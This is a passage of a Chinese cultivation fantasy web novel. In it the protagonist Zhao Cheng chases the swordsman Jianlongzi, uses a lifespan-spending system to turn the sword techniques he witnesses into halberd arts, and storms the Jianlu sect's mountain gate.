那也不对,他这御剑术不论精妙程度还是精通程度,都远胜于自己。
速度比他的青冥剑快了何止七八倍!
更让他惊骇的是。
赵诚竟还故意放慢了速度,在他身前、身后、身侧绕了一圈,轻缓得像在闲庭信步,看样子完全没有使出全力。
“跑什么?”
赵诚的声音平静地传来,带着几分“循循善诱”的意味,“你跑不脱的,不如再出几剑试试,或许还有一线生机。”
听着这“魔头”轻描淡写的话语,剑龙子咬紧了牙关,都快被咬出了血。
他知道,对方连御剑术都能用得如此精妙,自己再逃也是徒劳,只能拼死一战!
剑龙子猛地停住身形,剑指一挑,脚下的青冥剑“铮”的一声出鞘,稳稳落在他手中。
他深吸一口气,将丹田内最后一丝真元尽数灌入剑刃,眼中闪过一丝决绝:“青锋泄瀑!”
“哗!”
随着他的喝声,淡青色的剑气如银河倾泻般从剑刃上奔涌而出。
那剑气既有云流奔涌的绵密,又藏着穿空破风的锐刃。
余威落在一侧的山林间,山石被剑气扫过瞬间碎成齑粉,又被剑气裹挟着向前,竟真有几分“银河落九天”的浩荡之势。
【你观看他人招式有所领悟,可投入寿命推演模拟。】
赵诚眉头微挑,眼中闪过一丝亮色。
这“青锋泄瀑”虽不如“云海吞锋”磅礴,却胜在细腻绵密,剑气的操控比前者更精妙,若是转化成戟法,倒能弥补“横断云天”偏重守势的短板。
“投入寿命,推演模拟‘青锋泄瀑’。”
【开始推演剑法——青锋泄瀑】
【第一年,你参悟青锋泄瀑的剑气韵律,初步掌握剑气奔涌的节奏……】
剑龙子紧盯着赵诚,却见对方依旧站在原地不动,任由那瀑布般的剑气落在身上。
淡金色的金刚真元辉光瞬间展开,剑气撞在辉光上,只激起圈圈涟漪,连一道白痕都没留下,尽数被挡了下来。
剑龙子既茫然又惊喜。
茫然的是,这“青锋泄瀑”的威力明明不如“云海吞锋”,以赵诚的实力,本该随手破掉才对,可他却再次站在原地不动,像是被牵制住了。
惊喜的是,赵诚不动,就意味着他又有
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了逃跑的机会!
只要这样拖着赵诚几次,等他逃回剑庐范围,有师门长辈坐镇,总能保住性命。
赵诚再强,难道还能敌得过剑庐诸多长辈的合力?
剑龙子压下心头的疑惑,咬着牙转身。
青冥剑再次亮起青光,这次却没再走直线,而是故意绕着山林的沟壑飞。
专挑树木茂密的地方钻,想借着地形遮挡赵诚的视线,迂回朝着剑庐方向逃窜。
而另一边,赵诚的意识已沉入系统推演之中。
【第一百年,你掌握青锋泄瀑的核心诀窍,能精准控制剑气的疏密与方向,掌握此招精髓,踏入大成之境……】
【第二百年,你将青锋泄瀑与周天星斗纳真诀结合,用锋锐神通特性真元强化剑气威力,使其兼具锋锐与霸道,此招踏入大圆满之境……】
【第二百二十三年,你从青锋泄瀑的剑气韵律中汲取灵感,推陈出新,推演出适合大戟的戟法,命名为‘瀚海怒潮’,此戟法踏入大圆满之境!】
【瀚海怒潮(大圆满)】
推演结束,赵诚缓缓睁开双眼,指尖下意识比划着戟法的轨迹,眼底满是满意。
与“青锋泄瀑”剑招的细腻灵秀不同,他推演的“瀚海怒潮”,已彻底褪去剑的纤巧,化作戟的狂放。
以他浑厚的真元为基,以锋锐神通特性为锋。
戟出则如**倒悬天际而下,狂潮怒浪无边无际,可令天地倾覆。
极为狂暴!
“不错。”
赵诚低声自语,“‘横断云天’偏重守势,能挡能镇。
这‘瀚海怒潮’则专攻伐,可攻可破,正好互补。”
他又想起此次推演的速度,嘴角勾起一抹笑意。
“看来之前推演‘横断云天’时,已经摸透了剑庐剑招的基础,这次推演‘瀚海怒潮’才会这么快。
再逼他出几招,看看他还有什么好东西……”
这般想着,赵诚不再耽搁,足尖再次点向脚下的枯枝,御风神行之术全力展开。
暗红身影如一道残影掠过山林,瞬间消失在天际,朝着剑龙子迂回逃窜的方向追去。
就算这小子绕路,赵诚手握大成占星术,还能让他跑了不成?
第239章 赠丹助复惊魔现,破瀑催敌凝月锋
“我绕了这么远,他总该不会追来了吧?”
剑龙子又被御剑术榨干了,御剑术的轨迹歪歪扭扭,好几次差点撞上崖壁,金丹干瘪的都快要碎掉了。
不得已,只能再一次停下来歇息,踉跄着钻进一处隐蔽的山洞。
这洞口被藤蔓遮掩,不仔细看根本发现不了。
这次他不敢再信灵觉,目光仔细划过洞壁的每一个角落,连地面的碎石都翻了一遍,确认没有暗洞或阴影藏人。
甚至还抬头敲了敲洞顶,听着没有空荡荡的回响,才终于松了口气。
这一松气,后背重重撞在洞壁上,双腿一软,像滩烂泥似的滑坐在地,大口喘着粗气。
竟是连打坐的力气都没有了。
“要**,这家伙要是再来,不如我自己了断了自己,也好过被他折磨!”
剑龙子痛苦的说着,心中满是痛恨与不解。
到现在为止,他都不知道这家伙要做什么。
明明实力比自己强大那么多,却偏偏只追不杀,还用那种恐怖的眼光打量自己。
就算是用邪术炼化自己,那他也有太多机会可以出手抓住自己了,可是他没有!
越是这样,剑龙子的心中就越是不安和恐惧。
邪修就是邪修,心理指定是有点问题。
他就是要折磨自己!
等我突破了元婴,一定要如此折磨回来!
剑龙子恨恨的想着,心口涌现一团火,让他莫名有了些力气,再次坐了起来,开始调息恢复真元。
坐在他身后的赵诚默默点头,不愧是能够修炼到如此境界的剑客,心性还是坚韧的,不需要鞭策,自己就重新振作起来了。
倒是省了自己费心去“安慰”。
不过这家伙恢复起来,实在是有点慢啊。
为了让他恢复快一点,赵诚干脆花费一些寿命,兑换了几枚回气丹,而后扔到了地上,咕噜噜的滚到了剑龙子的旁边。
山洞之中,一股清香弥散开来。
剑龙子调息之中,突然感觉山洞之中元气增加,体内调息恢复的速度都增加了些许。
他惊讶睁眼,愕然发现身旁竟然多了几枚丹药。
这丹药散发出来的清香,竟然能够让他体内金丹颤动,散发出如饥似渴之意。
剑龙子先是一喜,刚要伸手去拿丹药,却僵住了。
心头涌现一种可能,他顿时毛骨悚然,如芒在背!
惊恐回头看去,却见山洞黑暗之处,并无想象之中的那道身影。
他又迅速起身,连续搜索了山洞所有角落,就差把石头缝都刨开看一看了。
最后确认不是赵诚出现在山洞之中,才终于松了口气,将那几枚回气丹拿了起来,谨慎的看了看,确定是回气之类的丹药。
“也对,那魔头就算追来了,又怎么会给我送丹药?”
“可这丹药是怎么出现的,难道是哪个隐世大能发现了我的境遇,顺手而为?”
“可能是我剑庐的世交前辈,若是如此……”
这个念头一出,他立刻激动起来,转身对着洞中空无一人的方向,弓身时腰弯得极低,额头几乎碰到地面。
声音带着劫后余生的哽咽,“不知是哪位世交前辈赠丹?
晚辈剑龙子,是剑庐弟子!
前辈若肯现身,晚辈回山后定备厚礼,涌泉相报!”
这一拜那是情真意切,感激之情溢于言表。
然而山洞之中却只回荡着他的声音,没有另外的声音和身影出现。
剑龙子期盼的表情转变为失望。
若是这前辈还没离开,能够送自己一程那就更好了。
或许这前辈有要事在身,无暇顾及自己,只留下了丹药吧。
不管如何,这也算是好事。
他再次深深一拜,千恩万谢,“晚辈再谢前辈活命之恩!”
而后迫不及待的将丹药塞入嘴里。
这丹药一入口,他便眼睛一亮。
只觉一股温润的药力顺着喉咙滑下,瞬间涌入丹田。
干瘪的金丹像是被春雨滋润的枯苗,渐渐泛起莹润的青光,枯竭的真元以肉眼可见的速度恢复,连经脉的刺痛都缓解了不少。
剑龙子大喜过望,立刻盘膝坐下,全力运转**吸收药力。
不过半柱香的功夫,丹田内的真元就恢复了三成,金丹也变得饱满了许多。
他攥紧青冥剑,眼中闪过一丝底气
“太好了,这一次再面对那魔头,也算是有一战之力……”
话音未落
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,却发现山洞门口的光芒一暗。
暗红大氅的边角垂在地上,那道如同梦魇一般的身影,就这样闯入了他的视野之中。
一瞬间,好似天地都变成了灰色。
剑龙子浑身一颤,在顾不得许多,又是一招“青锋泄瀑”砸了上去!
哗!
剑气如瀑,化作绵密细腻的无尽水丝,瞬间布满了整个山洞。
山洞的墙壁之上,都瞬间出现细密如网的痕迹,而后迅速被销蚀下去一层,就好似一瞬间就被瀑布冲刷了千万年一般。
剑龙子眼睛明亮,感受着体内充盈的金丹,再看这比先前更强横的一招,心底涌起信心来。
之前他**之末的一招青锋泄瀑都能够拦住赵诚,如今金丹真元充足,如何拦不住对方!?
“不是说过了,用过的招,不好用了。”
伴随着不满的声音,赵诚只是轻轻抬手一点。
一道亦是如同水丝般的剑气陡然出现,瞬间穿透如瀑的剑气,直抵这一招的根源之处。
好似直接斩断了水源一般。
这山洞之中的无边如瀑剑气便陡然消失,从根源处被赵诚那一缕真元直接斩灭!
剑龙子惊呆了。
这**到底是什么道理?
为何每一招用过之后,再用就不好使了??
这魔头悟性这么高吗?
剑龙子倒也不是不会随机应变之人,眼见用过的招数不好用了,立刻转变思路,用了一招没用过的。
剑龙子双目一凝,周身的气势陡然变了。
若是说之前的他像藏锋的剑鞘,此刻就像出鞘的寒刃,所有的真元、所有的锋芒,都凝聚在一点之上。
他的身形微微前倾,青冥剑贴在身侧,剑尖泛着极细的青光。
此剑还未出,已有阵阵锋芒抵住咽喉之感。
赵诚的目光涌现了兴趣。
这一剑,竟让他感觉能突破自己的金刚真元!
“凝心破月!“
剑龙子轻喝一声,青冥剑陡然出鞘。
快!
至极的快!
没有多余的剑花,没有浩荡的剑气,只有一道凝练到极致的青芒,像闪电劈过山洞,连空气都被撕开一道细微的裂痕,瞬间就抵到了赵诚的咽喉。
第240章 裂穹碎月集霸力,疑偷师剑遁青锋
与此同时,剑龙子的身影如离弦之箭,紧随青芒之后,从赵诚身边擦过。
没办法,这一剑太快了,他不把握机会,那就彻底被赵诚堵死在这山洞之中了。
他出了山洞,飞快的向远处掠去。
而那道极快的青芒撞上赵诚体表的淡金色真元,竟“嗤”的一声穿透了表层,刺入半指深才停滞下来。
但可惜的是,系统并没有传来有所领悟的提示。
大概因为此剑太简单,结束的也太快,赵诚反而没有看仔细,也没能领悟到其中精妙处。
不过,这一剑确实不错,很合赵诚的心意。
于是他也没有停留,瞬间再次施展御风神行,直接追上了剑龙子。
剑龙子看到赵诚突然出现在身前,顿时头皮一麻!
这**这一招可是他压箱底的绝招,要不是真元充足了,他可不敢用。
结果这一招反而没有能够拖住赵诚?
这一下可把他给吓坏了,他不敢耽搁,立刻又使出了另一招,“霞裁虹销!”
剑影裁霞,长虹贯日,华丽奇绝……
赵诚脸色一沉,“什么破玩意?你还是用刚才那一剑吧……”
大手覆盖金辉一按,霞光宏日尽数消散。
剑龙子傻眼了,不是说好了,用过的招不好使,新招好使吗?
你他娘不按套路来!?
到了此时,剑龙子那是彻底懵逼了,完全搞不清楚赵诚的做事规律。
心中的不安大大增加。
听到赵诚的话,也来不及多想,只好将心神全部凝于一点,浑身气势瞬间坍缩,无尽真元凝练到了极致,化作一点剑芒。
嗤!
剑芒破空而去,直抵赵诚。
赵诚体内金丹之上,代表破幻和清明的两个神通星窍熠熠生辉,双眼之中暗藏辉光,无比认真的凝视这一剑。
有了上一次的经验之后,他已经知道需要注意哪些关键的地方。
这一看,这道极快的剑光在他的眼中,就慢了许多,还真被他看出了门道。
【你观看他人剑法有所领悟,可投入寿命推演剑法凝心破月。】
赵诚露出满意的笑容来,总算领悟到东西了。
“投入寿命推演……”
【开始投入寿命推演剑法凝心破月……】
【第一年……】
剑龙子在出剑的瞬间,已经再一次逃窜出去,转眼之间,已经是百丈之外,还不忘回头去看赵诚。
发现那恐怖的家伙终于停在那里不动了,不由得长出一口气,牟足了力气继续逃窜。
……
【第一百七十五年,你参悟凝心破月的“凝势于一点”“快剑无迹”之精髓,从真元凝练的节奏到出剑时机的把控,皆已烂熟于心。
抬手间便能将此剑招的快、锐、准发挥到极致,剑势如银电破夜,无人能挡,此术正式踏入大圆满之境……】
【第一百九十七年,你以凝心破月为基,融入大戟“刚猛霸道”的特性。
摒弃剑招的纤细,以浑厚真元承载快剑之锐,将“一点破万法”的意境升级为“集力裂苍穹”的威势。
新创戟法锋芒更盛、力道更凝,可凝势于戟尖破防,威力远超凝心破月,命名为“裂穹碎月”!】
【裂穹碎月(大圆满)】
这“裂穹碎月”既保留了凝心破月的“快”与“锐”,又叠加了大戟的“重”与“霸”。
单轮单体杀伤力,已经是赵诚之前全力一击的十数倍!
就算是他,也是有些惊喜。
不过是逮住了一个剑庐的传人,花费了百余年时间推演,就能够将随手一击的威力提升十数倍,不异于天上掉馅饼了。
赵诚暗暗点头,而后身影一闪,再一次朝着剑龙子追了上去。
此时的剑龙子正踩着青冥剑掠过高耸的崖壁,丹田内的真元经丹药滋养,现在依然还算充裕。
他回头望了望身后空荡荡的天际,紧绷的肩膀渐渐放松,连呼吸都顺畅了几分。
几次与赵诚周旋,虽狼狈却未受重伤,这让他心底的惊恐淡了些,甚至生出一丝“或许对方没那么可怕”的错觉。
虽然依旧摸不清楚赵诚想要对他做什么。
但他已经隐
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隐有所猜测,只是不敢相信罢了。
“这魔头三番两次戏耍于我,既不杀我,也不放过我,反倒是总让我使用新的剑招来对付他,倒像是要让我喂招给他,莫不是他也在磨炼什么武学?”
这副模样,确实像是他在给赵诚喂招。
但是在剑庐之中,都是修为更加精深的长辈给小辈喂招,以教导小辈。
那魔头修为通天,比他强了不知道多远去,技法更是可怕,能够让他连剑招都使不出来,哪里需要他来给对方喂招?
“可若不是喂招,难道他是想要凭借我出手的剑招,偷师我剑庐绝学不成?“
剑龙子眉头紧皱,总觉得这个思路好像更贴切一些。
“嘶……一开始他并没有施展御剑术,但是后来再追上我的时候,就施展了御剑术,还比我的御剑术更强更精妙……”
“而且,他见过一次云海吞锋之后,就能够对云海吞锋这一招极为了解,怕不是已经完全拆解……”
剑龙子越想越是觉得惊怖,“可这,怎么可能?”
“从未听说过有谁能够在与人对战之事,学会对方的剑法,更何况,我剑庐绝学都是世间顶尖精妙的剑法。”
“就算是被称为天才的我,也是苦修几十年,才能够垒实基础,修炼上百年,才堪堪将这些剑招修炼到如此程度,那家伙难不成还能一看就会?”
想到自己那些年费劲千辛万苦,苦心孤诣,废寝忘食,才将那些剑招修炼到如此境地。
更被师尊和剑庐长辈们称为剑庐栋梁,百年不见之天才。
剑龙子升起几分自信的同时,将刚刚的猜想完全否定掉了。
开玩笑,这世上怎么会有如此可怕的天资和悟性?
天才尚且需要苦修百年才能够修炼到精通的剑法,他一看就会,还能够施展的比自己更强更好,更加出神入化?
最重要的是,他看赵诚那御剑术,明明比自己的御剑术更加精妙!
若是偷师,如此短的时间里能够学到自己这般境界,那已经是不可思议。
怎么可能会更强。
第241章 榨剑废臂驱龙遁,破阵扬戟撼剑门
思来想去。
剑龙子觉得赵诚必然会另一种邪修剑术,只是需要用自己的剑法来为其喂招。
如此一来,他心中踏实了不少。
然而此时,赵诚再次出现。
这一次赵诚也不废话,直接让他用新剑法。
剑龙子已经麻木,又觉得自己看透了赵诚的用图,便也没有那么惊恐。
既然各怀所需,那能拖一刻是一刻。
等到自己回到剑庐范围的时候,就是这魔头的死期!
“露凝剑魄裂寒霄!”
“这等剑法不要拿出来丢人现眼……”
噗!
赵诚一指弹出,真元如山压下,直接压断了剑龙子的一条手臂。
剑龙子当即痛呼一声,脸色大变,原本麻木平静下来的心,再次涌上惊恐来。
强烈不安之下,他不敢敷衍,用完好的另一条手臂,施展为数不多的绝学。
“袖卷云蛇吞皓月!”
此剑一出,他大袖之中,好似有万道白蛇汹涌而出,遮天蔽日,滚滚而上,吞噬赵诚如要吞月。
这一剑不但怀有锋锐和磅礴之意,更有一种吞天食地的狠厉。
比之云海吞锋不遑多让。
赵诚又是有所领悟。
【你观看他人剑法有所领悟,可投入寿命推演剑法袖卷云蛇吞皓月。】
赵诚露出满意的笑容来,总算领悟到东西了。
“投入寿命推演……”
【开始投入寿命推演剑法袖卷云蛇吞皓月……】
【第一年……】
【第一百三十四年,袖卷云蛇吞皓月踏入大圆满之境。】
【第一百四十九年,你推陈出新,结合袖卷云蛇吞皓月创造出‘倒卷青龙撞烈阳’】
【倒卷青龙撞烈阳(大圆满)】
“嗯……这一招也算是不错。”
赵诚这一次推演领悟的更快了,几乎没有停留,又追了上去。
剑龙子捂着完全碎骨的小臂,咬牙飞遁。
魔头就是魔头,一言不合就打碎了他的小臂。
不过这家伙修为怎么如此恐怖,只是一缕真元,竟然就压碎了他的手臂。
而且此时手臂之中,还有道道剑气横冲直撞,让他感觉到好似有无穷细小的剑刃在手臂之中持续切割。
这剑气好似与他的剑气同出一源,但却更霸烈,更恢宏,与他那剑气截然不同,两者相比,就像是草叶与参天大树之间的区别。
他想要施展自己的剑气将其斩灭驱逐,却如同泥牛入海一般,尽数消失。
“这样下去不是办法,若是不尽快回到剑庐,这条手臂恐怕要废掉了。“
一念及此,剑龙子加快了速度。
可让他出乎意料的是,赵诚停留的时间,一次比一次短了。
这一次没过多久,就再次追了上来。
剑龙子头皮发麻,生怕赵诚再次出手废掉他的另一条手臂,于是出手就是绝学。
但到了如今,他的绝学也所剩无几。
剑庐虽然传承悠久,精妙剑招无数。
但他就算再天才,精力也是有限的,压箱底的剑法就那么几个。
此剑一出,就明显感觉到赵诚不太满意。
剑龙子顿时心头一凛,大呼不妙。
连忙逃窜。
赵诚虽然觉得这一招比之前的那些差了许多,但还是勉强参悟下来,而后远远缀在剑龙子身后。
“这剑龙子已经被榨干了,不过剑庐应该还有一些好东西,不如就以他为饵,让他引出剑庐的那些老家伙,看看他们还有什么压箱底的好东西再说。”
赵诚如此想着,便不急不缓的跟在剑龙子身后。
时不时的弹指打出一道剑气,戳在剑龙子的后背上,让他减缓的速度再次提升一些。
剑龙子后背剧痛,浑身剑气乱窜,金丹更是黯淡无光,一时之间叫苦不迭。
完了,那家伙看不上自己的其他剑法了,这是要将自己折磨**。
坚持住,距离剑庐已经不远了。
剑龙子忍着痛苦,咬牙狂掠。
几乎是用了最后一口气,才拼命撞入了剑庐的隐世大阵。
一经撞入,他便将留存许久的最后一缕真元撞入喉咙,吐气开声。
“师尊救我!!!”
他的声音回荡在剑庐所在山门上下。
剑庐上下俱是一惊,随后接连数道锋锐剑气冲天而起,直奔这山门而来。
“师侄你怎么了!”
当先而来的是镇守山门的长老,他一经出现,便是脸色大变。
只见剑龙子手臂血肉模糊,脸色苍白,枯槁如鬼,身上衣衫褴褛,无数剑气伤痕在后背纵横交错,体内金丹更是黯淡无光摇摇欲坠,几乎碎裂!
这副惨状,不知道的人还以为他刚刚去闯了地狱深渊,刚从无数恶鬼的口中爬出来。
镇守长老看着剑龙子长大,深知他这师侄天资纵横,何曾见过其
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如此狼狈模样,当下又惊又怒。
“师侄别怕!先安稳伤势!”
他先是度入一口真元,将剑龙子体内的金丹充盈起来,不至于因为干涸而碎裂。
而后大手一探,便按在了剑龙子的心口。
无尽剑气汹涌而入,好似大河倒灌,冲向他体内的那些剑气,想要一下将其抚平!
但这剑气一探入,顿时感觉剑龙子体内如同龙潭虎穴,他的那些剑气,竟是有去无回。
而且,那些剑气有着剑庐绝学的同源之妙,却比剑庐绝学修出来的剑气更胜一筹,让其颇感棘手。
“这是何派传承!?“
“师侄,到底是何人对你下此毒手!?”
剑龙子拼了老命奔至山门,已经是油尽灯枯,几近昏厥。
幸得这镇守长老度入真元,又压制体内剑气,他才缓上一口气来。
这一睁眼,立刻惊恐看向周围,见身前是师叔,远处更有好几位师叔掠来,这才痛哭流涕。
“师叔,师叔外有大魔追杀,救我!”
“救我!”
如此惊慌,如此恐惧,如此惨状,让新赶来的几位剑庐长老都是大惊失色,心中甚至冒出一口凉气来。
而当剑龙子的师尊青竹子赶来时,更是震怒无比。
“到底是何人,对我徒儿下此毒手!我必不饶他!“
“徒儿!与我说来,为师……”
他话音未落,山门天际的隐世大阵陡然传来一阵剧烈动荡,阵阵涟漪好似遭遇的**的平静大海,掀起了无边海啸一般。
轰!
轰!
轰!
众人惊怒抬头,却见隐世大阵摇摇欲坠,片刻之后,竟然轰然碎裂。
而后无边剑气好似**大海倒悬天际而下,化作狂潮怒浪无边无际,磅礴狂暴,无边无际,遮天蔽日!
一时之间,竟似天灾降临,天地倾覆一般!
瀚海如潮!
众人无不色变,纷纷冲天而起,阵阵剑气如龙,直抵倒悬之海!
众人都是剑庐之中,隐修多年的元老大能,合力而为,那无边剑气三两下也被荡尽。
却见山门之外,一道雄魁身影凌空悬峙,暗红大氅猎猎卷舞,有若泼墨流云。
其人倒提擎天大戟,立如孤峰临渊,阔肩铁躯,虎背狼腰。
面如冠玉,英武凛凛。血海凶眸,杀气如凝!
竟似一名凡间大将,杀上了隐世山门来!
第242章 持戟悬峙诘龙诬,拦锋诫老讳堂争
“来者何人!?“
一声沉喝如惊雷般炸响,蕴藏怒意腾腾。
说话的是位老者,发髻用一根斑驳的竹簪固定,鬓边白发簌簌垂落。
身形枯瘦如秋后老竹,肩背却挺得笔直,仿佛风一吹就会折断,偏生那双眼睛亮得惊人,像淬了寒潭的剑光。
正是剑庐长老青竹剑瓮,亦是剑龙子的师尊。
“竟敢闯我剑庐山门,还出手将我门弟子打成如此模样!
未免太嚣张,太狠毒了!”
他本来看到剑龙子被伤成这样,已经是怒极。
待看到赵诚竟然持戟击碎了剑庐山门,他更是青筋暴起,周身无形剑气骤然炸开。
原本垂落的白发根根竖起,像锋利的剑丝在空中飘洒。
脚下青石板瞬间裂开蛛网般的缝隙,碎石被剑气掀得翻飞,砸在山门两侧的剑碑上,发出“噼啪”脆响。
随着他的话音,山门后的石阶上,又陆续出现几位身着素色剑袍的老者。
周身都萦绕着若有若无的剑气,目光锁定赵诚。
正是剑庐其余几位长老,此刻听到动静,尽数齐聚山门之前,目光齐刷刷投向高空的赵诚,眼中满是怒意和锋芒。
高空之上,赵诚悬立于暗红大氅展开的阴影里,看到这几位长老,眼底飞快闪过一丝期待。
这几人气息浑厚深不见底,周身剑气隐而不发,显然都是剑道大家,定藏着不少压箱底的剑招。
今天算是来着了!
他面平如水,俯瞰众人,开口说道,“吾乃大秦武威君赵诚。
剑龙子暗行刺秦王,犯了谋逆大罪,吾奉法追缉,特来将其押回问罪!“
“什么!?”
“怎么会!?”
“此事当真?”
剑庐长老们齐齐一愣,脸色骤变,纷纷转头看向站在青竹剑瓮身后的剑龙子。
一位手持木剑的长老皱紧眉头,声音里满是难以置信,“剑庐门规严明,祖师早有训诫,弟子可下山游历,却绝不可涉足庙堂纷争,更遑论行刺君王!
剑龙子,此事当真?”
青竹剑瓮也收了几分怒气,目光沉得像浸了冰,死死锁在剑龙子身上,语气带着不容置疑的威严,“可有此事?”
剑龙子此刻早已慌了神,他知道一旦承认行刺秦王,别说被赵诚带走,就算在剑庐,那也没有好果子吃。
他脸色惨白,连退两步,捂着断裂的右臂,声音带着刻意拔高的哭腔,试图用委屈掩盖慌乱,“师尊!我没有!他这是诬陷!”
“此人是山下人人得而诛之的魔头!”
剑龙子指着高空的赵诚,泪水顺着脸颊滚落,却偷偷观察着长老们的神色,“他屠戮无辜百姓,双手沾满鲜血,我是看不惯他残杀无辜,才仗剑出手阻拦!
可徒儿学艺不精,不是他的对手,被他一路追杀,右臂都被打断了,受尽折磨才逃回山门……
师尊,各位长老,救我啊!”
他一边说,一边故意晃了晃垂落的右臂,断裂处的疼痛让他脸色更白,看起来愈发凄惨。
青竹剑瓮本就对赵诚“打上门来”的举动不满。
此刻听了剑龙子的哭诉,再看他断臂的惨状,眸光骤然一厉,周身剑气再次暴涨。
那满头白发飘得更急,脚下的裂痕又深了几分,连周围的空气都似被剑气撕裂,带着刺骨的寒意。
他抬头看向高空的赵诚,声音冷得像冰,“我剑庐百年以来,恪守‘与世无争’的祖训,不与世俗纷争,可这并不意味着我剑庐会任人欺辱!
你打上我剑庐山门,伤我弟子,是要与我整个剑庐为敌!”
“今日若不给你点厉害瞧瞧,你怕是真以为我剑庐无人!”
“嘤——!”
一声清越的剑鸣陡然响起,如翠竹破土,又似寒刃出鞘。
青竹剑瓮身后的剑鞘上,一柄通体翠绿如竹的玉剑骤然出鞘腾空。
剑身泛着莹润的青光,绕着他头顶盘旋一圈,剑尖稳稳指向高空的赵诚。
随着长剑清鸣,一股磅礴的剑意从剑身涌出,瞬间锁定赵诚。
“师兄且等等!”
一名女长老突然拦住了青竹剑瓮,而后看向赵诚,“
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阁下是秦国武威君?”
赵诚正期待看着青竹剑瓮,一脸认真的准备领悟剑招,谁知被这女长老拦下,自是没什么好脸色。
“是又如何?你们怕了不成?”
女长老见他这般态度,心中也生出几分怒气。
此人追杀她的师侄,打上山门不说,她本想缓和事态,对方却这般嚣张,实在可气!
她语气也冷了下来:“我剑庐传承千年,岂会怕一名野修?
只不过我门中老祖早有训诫。
我等问道之人,不该沾染世俗之事,更不可卷入庙堂之争,否则必遭大祸。
倒是没想到,秦国竟有这般练气士,敢横行诸国,还能活蹦乱跳。”
这话一出,其余几位长老皆面露狐疑,眼神古怪地看向赵诚。
显然,老祖的这番告诫,他们都曾听过。
赵诚眉头微挑,这话他还是头一次听闻。
以他大成的占星术,此前竟从未察觉到半点危险。
但这番话,倒也解释了为何山下少见有真本事的修士。
想来是这些人对诸国纷争心存忌讳。
至于这忌讳背后的缘由,还得再套套话才知。
他不屑地嗤笑一声:“哦?
还有这等事?
莫不是你们那位祖师怕诸国联手讨伐剑庐,所以才这般胆小怕事?”
“你知道什么!”
众长老顿时面色大变,个个怒容满面。
青竹剑瓮更是猛地一手指天,急声道:“此事乃是那……”
“师兄慎言!莫要中了这小子的计!”
女长老急忙喝止,青竹剑瓮这才猛然住口,只余一双眼睛死死盯着赵诚,满是怒意。
随后,女长老转向赵诚,嘴角勾起一抹冷笑道,“阁下既然这般有胆色,便尽管继续横行诸国,徒增杀戮便是。
我剑庐向来与世无争,今日我师侄仗义出手,奈何技不如人。
你既已将他欺辱至此,更破了我剑庐山门,我等念在你是秦国封君的份上,不愿对你出手,饶你一命。
今日之事便到此为止,你且回吧。”
第243章 裂穹戟阻青竹去,芒穿叠嶂慑青庐
“师妹!”
青竹剑瓮猛地沉喝,语气里满是不甘与愤懑,连身上勃发的剑气都炸开了一些,“此人把你师侄打成这副惨状,怎能就这么放他走!”
女长老急忙上前一步,凑到他耳边压低声音,语气带着几分急切与清醒,“你莫不是忘了师祖的训诫?
他这般修为还敢硬搅诸国纷争,早晚得自食恶果,我们何必蹚这浑水,把剑庐也拖进去?”
青竹剑瓮眉头拧得更紧,神色依旧不甘,可指尖无意识抚须片刻后,终究还是松了劲。
师祖的话他不敢违逆。
片刻后,他抬眼看向赵诚,眼神里掺着几分怜悯,又带着几分轻蔑,“罢了,今日便饶你一命,你好自为之。”
说罢,他周身真气一卷,将瘫在地上的剑龙子裹住,转身就要带着人离开。
赵诚眼底骤然一沉。
我好不容易才把剑龙子这个饵赶到剑庐山门来,你们就这样走了,我找谁看剑法去?
“慢着!”
话音未落,他手中大戟猛地一扬,戟尖迸出一道裂天般的凛冽锋芒,“轰”地一声劈在青竹剑瓮脚尖前,瞬间炸开一道深数尺、宽丈余的沟壑,硬生生挡住了对方的去路。
“我用得着你们饶?”
他眼神冷硬,语气带着不容置喙的强硬,“你们若是怕了,现在转身走,我不拦着。
但这敢刺杀秦王的贼子,必须留下!”
青竹剑瓮的脸色瞬间黑如墨炭,额角青筋突突直跳,几乎要崩裂开来。
他深吸一口气,压下翻腾的怒火,声音冷得像冰,“既然你非要找死,那我便成全你!”
话落,他低头看了眼被真气裹着的剑龙子,手腕一翻,将人往旁边一名长老怀里一推,而后剑指如电,指向赵诚。
“嗡!”
那柄通体莹润如翠竹的玉剑瞬间穿梭而出,化作一道青虹直刺赵诚,剑招起势便带着凛然剑意。
“碧落逐星!”
嗤啦!
这一剑当真如陨星坠空、明月逐影,剑势森寒彻骨,剑意凌厉无匹。
连破空的速度都快得撕裂了空气,远非剑龙子那等粗浅招式可比,简直是云泥之别。
剑影几乎凝成一道青光,快到极致,寻常修士恐怕残影都看不清。
赵诚不敢有半分懈怠,双目骤然亮起,清明破幻神通瞬间运转,剑招的轨迹、真气的流转才在他眼中缓缓清晰。
【你观看他人剑法有所领悟,可投入寿命推演剑法碧落逐星。】
许是对方剑意太过磅礴,又是剑道大家出手,赵诚的领悟快得惊人。
不过一眼,便摸透了这剑招的几分脉络。
待那道青虹愈发逼近,他心中对剑招的理解更是飞速加深,连剑招的破绽都隐约能捕捉到。
但此刻显然不是推演剑招的时候,他体内真气急转,御风神行神通瞬间催动。
身影如一道疾箭般横掠而出,堪堪避开那道擦着衣襟掠过的青虹,衣袂被剑风扫得猎猎作响。
即便险险避过,他脸上却不见丝毫凝重,反而勾起一抹淡笑,语气带着几分轻慢:“不过如此。”
“既然你出了剑,那也接我一戟试试!”
赵诚双眸骤然一凝,丹田内的金丹陡然爆发出璀璨金芒,万千星辉般的光华自周身窍穴溢出,如奔雷滚涛般汇入手中大戟。
戟尖之上,滚滚真元无限坍缩、凝聚。
不过刹那间,便凝成一点令人心悸的寒芒。
那寒芒锐得似要割裂空气,厚重得仿佛能压垮山岳。
他这以周天星斗纳真诀和千万年寿命练就的金丹,真元之浑厚何止是同境的千万倍?
其中蕴含的每一缕真元更是世间极致,如今再次以技法使真元坍缩凝聚,那便是极恐怖了。
“裂穹碎月!”
喝声落,大戟向前劈出。
这一戟脱胎于剑龙子的“凝心破月”,却比前者更添七分霸道、九分刚猛。
戟尖寒芒暴涨,既有流星赶月的极致迅疾,又藏着力劈华山的千钧厚重,一往无前的戟意直逼青竹剑瓮咽喉!
青竹剑瓮脸色骤变。
此前他见赵诚一路追杀剑龙子,只当对方即便强些,也绝不会超出剑庐弟子的范畴。
毕竟若实力悬殊,剑龙子根本无命逃回族中。
是以他始终没将赵诚放在眼里,只当是一张狂
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小辈。
此刻见这戟芒快得超乎想象,才惊觉失算。
等他反应过来时,戟芒已近在咫尺,避无可避,只能硬撼!
“崩岳摧城!”
青竹剑瓮剑指一横,身前爆发出苍劲剑气。
那剑气如奔雷滚石,带着碎山裂石的威势,狠狠撞向戟芒。
